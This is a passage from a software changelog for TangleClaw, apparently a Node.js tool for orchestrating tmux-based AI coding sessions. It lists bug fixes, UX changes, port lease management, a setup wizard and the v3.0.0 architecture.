- **Terminal touch input blocked on mobile**: `touch-action: none` on the session wrapper body prevented touch events from reaching the terminal iframe on iOS Safari and Android Chrome. Changed to `touch-action: manipulation`.
- **Launch fails on orphaned tmux sessions**: When a tmux session existed from a previous run but the database had no active record (e.g., after a server restart), clicking Launch would fail with "Failed to create tmux session". Now automatically adopts the orphaned tmux session instead of failing.
- **Engine detection failing under launchd**: The install script built a minimal PATH for the launchd service that excluded user-installed binary locations (`~/.local/bin`, `~/.npm-global/bin`). Engine detection via `which` failed for Claude Code, Gemini CLI, and any other engines installed outside standard system paths. Install script now captures the user's full `$PATH` at install time.
- **New bundled engine profiles not seeded to existing installs**: The store's `_copyBundledFiles()` skipped entirely if the engines directory already had files, so newly added profiles (e.g., Gemini from p2-3) were never copied to `~/.tangleclaw/engines/`. Now copies any missing profiles individually.
- **Launch button silently failing**: Clicking Launch on a project card showed no feedback when the API returned an error. Now shows a toast notification with the specific error message.

### Fixed

- **Aider config generation silently failing**: The Aider engine profile declared generator `"aider-yaml"` but the code switch case expected `"aider-conf"`, causing `generateConfig('aider', ...)` to return `null`. Aider projects now get properly generated `.aider.conf.yml` files.

### Changed — Deployment

- **Server port changed to 3102**: Deploy template and install script now set `TANGLECLAW_PORT=3102` via launchd environment variable, avoiding conflict with v1 on port 3101. The application code default remains 3101 but is overridden at the deployment layer.

### Fixed — Post-Chunk Polish

- **Stats panel not fully collapsing**: System stats toggle left 12px of padding visible when collapsed, showing partial stat card outlines. Bottom padding now only applies when the panel is open.
- **Version badge missing from project cards**: Project cards now show the latest git tag (e.g. "v3.0.0") inline, restoring v2 parity. Added `latestTag` field to git info via `git describe --tags --abbrev=0`.

### Changed — Chunk 14: Landing Page UX Overhaul

- **Compact horizontal header**: Header is now a horizontal flex row — 64px logo + wordmark image side-by-side, ~80px total height. Falls back gracefully if logo-icon.png/logo-text.png are missing.
- **System stats always visible**: Stats grid defaults to open (CPU, Memory, Disk, Uptime visible on page load) with a minimize toggle.
- **Compact project cards**: Cards are now single-line compact rows — name + badges + status dot + inline action buttons. ~35 projects visible without scrolling on desktop. Card click expands a detail panel instead of navigating away.
- **Card detail expansion**: Clicking a card expands an inline detail panel showing engine, methodology, session info, git branch, and tags. Launch/Open button on the card row navigates to the session.
- **Root projects directory panel**: Blue-tinted full-width panel at top of project list showing the projects directory path and project count.
- **Active session count styling**: Session count shows green-styled number (e.g., "2 active sessions").
- **Ports panel collapsed by default**: Unchanged behavior (already collapsed).
- **Unregistered projects**: Filesystem-only directories appear with muted opacity and "Attach" button (from Chunk 13).

### Fixed — Chunk 13: Functional Bug Fixes

- **Session launch race condition**: After launching a session, the session page now appends `?launched=1` to the URL. When present, the first 3 status polls ignore `active: false` responses (grace period), preventing false "session ended" redirects while tmux starts up.
- **Missing projects**: `GET /api/projects` now merges SQLite-registered projects with ALL filesystem directories in projectsDir. Unregistered directories appear with `registered: false` and a muted style with "Attach" button on the landing page. New `POST /api/projects/attach` endpoint registers existing directories. New `listAllProjects()` and `attachProject()` functions in `lib/projects.js`.
- **Memory calculation wrong on macOS**: `getMemoryInfo()` now uses `vm_stat` and `sysctl` on macOS to calculate `used = active + wired + compressed` pages. Falls back to `os.freemem()` on non-macOS or command failure. Reports accurate ~50% usage instead of ~98%.
- **Uptime display**: Added `uptimeFormatted` field to `GET /api/system` response (e.g. "3d 2h", "5h 30m", "12m"). New `formatUptime()` utility in `lib/system.js`.
- **Methodology initialization errors**: Methodology init errors now include specific context (template not found, directory creation failed, postInit failed). `POST /api/projects` response includes `warnings` array on partial success. Create drawer shows toast for init warnings.
- **Phantom project creation guard**: `POST /api/setup/complete` now validates that each project path exists and is a directory before registering. Invalid paths are skipped with a warning.
- **28 new tests** (624 total): Memory calculation (vm_stat parsing, formatUptime), filesystem project merge (listAllProjects, attachProject), attach API endpoint, setup wizard path validation, system uptimeFormatted. Plus 2 git latestTag tests (626 total).

### Changed
- **Engine ID renamed from `claude-code` to `claude`**: The default engine profile ID now matches the actual CLI binary name. Eliminates the recurring bug where v2 interpreted the engine ID as a literal shell command, causing `zsh: command not found: claude-code`. Updated all defaults, DB schema, config, tests, and docs.

### Added — Chunk 12: UX Parity + Mobile Polish

- **Real logo assets**: Replaced SVG placeholder logos with v2's serpent logo (`logo.png` in header, `icon-192.png` in session banner). Added icon files (`apple-touch-icon.png`, `icon-192.png`, `icon-512.png`) to `public/icons/`. Updated manifest.json to reference correct icon paths.
- **Compact project cards**: Redesigned landing page cards — header with name + git branch + version badge, green breathing dot for active sessions, streamlined actions (Launch, peek eye, settings gear, subtle delete x). Removed standalone Wrap button from cards.
- **Upload system**: New `lib/uploads.js` module for saving files to a project's `.uploads/` directory with timestamped names and extension allowlist. Two new API endpoints: `POST /api/upload` (15MB limit) and `GET /api/uploads?project=name`.
- **Per-route body size limits**: `route()` now accepts an `options` parameter with `maxBodySize`, passed through to `parseBody()`. Upload route uses 15MB; all others retain the 10KB default.
- **Session Select button**: Toggles tmux mouse mode for text selection with 30s auto-revert timer. Mobile: enables mouse for native selection. Desktop: disables mouse for native selection.
- **Session Upload modal**: File picker with image preview, base64 upload to project's `.uploads/` directory, result shows the path to tell your AI assistant, recent upload history.
- **PortHub lease import**: Landing page detects port leases referencing unregistered projects and shows an import notification banner with "Import All" action.
- **Card peek panel**: Eye icon on active-session cards opens an inline terminal peek (last 15 lines) directly on the landing page, matching v2 behavior. Only shown for projects with active sessions; toggles open/closed.
- **Delete modal text**: Updated to clarify that deletion removes the project and kills any active session.
- **15 new tests** (595 total): Upload module unit tests (8) and upload API endpoint tests (5), plus 2 list tests.

### Fixed

- **Session page redirect on untracked sessions**: Session page no longer times out and redirects to the landing page when a tmux session exists but wasn't launched through v3. Status endpoint now falls back to checking tmux directly when the DB has no active session record, returning `active: true` with an `untracked` flag.
- **PortHub daemon import**: Fixed `_migrateFromOldPorthub()` — the `porthub status --json` CLI outputs ASCII art before the JSON array, so `JSON.parse()` was failing silently. Now extracts JSON by finding the first `[` character. Also handles the raw array format (not wrapped in `{ leases: [...] }`). Expired leases are now skipped during import.
- **PortHub sync on every boot**: Removed the one-time migration gate (`existing.length <= 2 && infraOnly`). Import now runs on every server start, safely skipping ports already in the database. Expired leases are filtered out. Added `POST /api/ports/sync` endpoint and `syncFromDaemon()` for manual re-sync.
- **Project delete releases ALL ports**: `deleteProject()` now calls `store.portLeases.releaseByProject(name)` instead of only releasing ports stored in the project record's `ports` field. This ensures ports registered via API or imported from the old PortHub daemon are also cleaned up when a project is deleted.

### Added — Chunk 11: First-Run Setup Wizard

- **Setup wizard**: Full-screen overlay on first launch guides new users through configuration — projects directory, existing project detection, engine availability, default preferences. Six-step card flow with step indicators, skip button on every step.
- **Project scanning**: `POST /api/setup/scan` scans any directory for existing projects by detecting git repos, methodology markers (.prawduct/, .tilt/), and TangleClaw config files.
- **Batch setup**: `POST /api/setup/complete` atomically updates config (projectsDir, defaultEngine, defaultMethodology, deletePassword, chimeEnabled), attaches selected projects, and marks setup complete.
- **Existing install migration**: Configs without `setupComplete` field automatically default to `true` (skip wizard). Only fresh installs see the wizard.
- **17 new tests** (580 total): Config migration behavior, scan endpoint validation, setup completion with project attachment, password hashing, skip flow.

### Added — Chunk 10: PortHub Deep Integration

- **Embedded port lease management**: Port leases are now stored in TangleClaw's SQLite database (`port_leases` table) instead of depending on the external PortHub daemon. Leases survive server restarts.
- **Port lease API**: Four new endpoints — `GET /api/ports` (list all, grouped by project), `POST /api/ports/lease` (create/renew), `POST /api/ports/release` (release), `POST /api/ports/heartbeat` (extend TTL leases).
- **Landing page ports panel**: Collapsible "Ports" section between system stats and toolbar. Shows all leases grouped by project with port number, service name, and type badge (permanent/TTL). Auto-refreshes every 30 seconds.
- **Server bootstrap/shutdown**: TangleClaw registers its own infrastructure ports (ttyd, server) on startup and releases them on shutdown. Periodic expiration timer cleans up stale TTL leases.
- **PortHub guide for AI assistants**: `data/porthub-guide.md` is automatically injected into generated CLAUDE.md files when the `porthubRegistration` core rule is active.
- **One-time migration**: On first startup with an empty leases table, existing leases are imported from the old PortHub daemon (if available).
- **Install script update**: PortHub CLI is now shown as an optional prerequisite (not required).
- **18 new tests** (563 total): Store-level port lease CRUD, porthub module rewrite, API endpoint tests, engine guide injection tests.

### Changed

- `lib/porthub.js` rewritten from shell-out to store-backed operations. No longer depends on the `porthub` CLI for runtime port management.
- Schema version bumped to 2 (v1→v2 migration adds `port_leases` table).

## [3.0.0] — 2026-03-14

Full rewrite of TangleClaw from a tmux session manager into a methodology-aware AI development orchestration platform.

### Added

- **Methodology engine**: Pluggable methodology templates (Prawduct, TiLT, Minimal) with structural enforcement. Core rules are mandatory; extension rules are opt-in per project.
- **Engine adapter layer**: Support for Claude Code, Codex, Aider, and Genesis engine profiles. Adding engines is just creating a JSON profile — no code changes needed.
- **Session lifecycle**: Prime prompt generation (reads methodology + state + learnings), configurable wrap skill, session history tracking, idle detection.
- **Skills system**: Installable, configurable behaviors. Session-wrap skill ships with v3.
- **Landing page rewrite**: Semantic HTML, PWA support (manifest + service worker + Add to Home Screen), search/filter, project cards with methodology status, engine badges, mobile-optimized modals and drawers.
- **Session wrapper rewrite**: Command bar with engine-specific slash commands, peek drawer, settings modal, chime system (Web Audio API), mouse guard, breathing status dot.
- **SQLite runtime state**: `node:sqlite` for ACID session/activity/learning storage. JSON preserved for human-editable config. Storage abstraction layer insulates app code.
- **PortHub integration**: Auto-register ports on project create, auto-release on delete. Graceful degradation when PortHub is unavailable.
- **Learning capture**: Learnings stored per-project with auto-promotion from provisional to active. Re-indexed for faster session starts. Surfaced in prime prompt.
- **v2 project auto-detection**: Existing projects with `.tangleclaw/project.json` or methodology markers (`.prawduct/`, `.tilt/`) are auto-detected.
- **API**: 24 endpoints covering projects, sessions, engines, methodologies, system, config, health, activity, and tmux mouse control.
- **Deployment**: launchd plists, install script with prerequisite checking, idempotent reload.
- **Git hooks**: pre-commit (test suite), commit-msg (format validation), post-commit (version tagging).
- **500+ tests**: Full test coverage across all modules using `node:test`. Zero external test dependencies.
- **User documentation**: User guide, methodology guide, engine guide, and configuration reference in `docs/`. Covers getting started, UI walkthrough, custom template/engine creation, all config fields, and mobile setup.

### Changed

- **Zero dependencies**: Entire codebase uses Node.js 22+ stdlib only. No npm, no build step, no bundler.
- **Mobile-first**: 44px touch targets, safe area handling, PWA installable, tested on iPhone Safari and Pixel Fold 9.

### Fixed

- Android scroll behavior in session wrapper
- Chime playback on mobile browsers (Web Audio API instead of Audio element)
- Peek mode as drawer instead of alert
- XSS safety: all dynamic content uses `createElement` instead of `innerHTML`

### Architecture

- `server.js` — HTTP server with route table, static serving, terminal reverse proxy
- `lib/store.js` — Hybrid persistence (JSON + SQLite) behind a unified API
- `lib/methodologies.js` — Template loading, validation, initialization, switching, status contract execution
- `lib/engines.js` — Engine profile loading, detection, config generation
- `lib/projects.js` — Project CRUD with enrichment, password hashing, auto-detection
- `lib/sessions.js` — Session launch, priming, idle detection, wrap orchestration
- `lib/skills.js` — Skill loading and execution
- `lib/porthub.js` — PortHub API client with graceful degradation
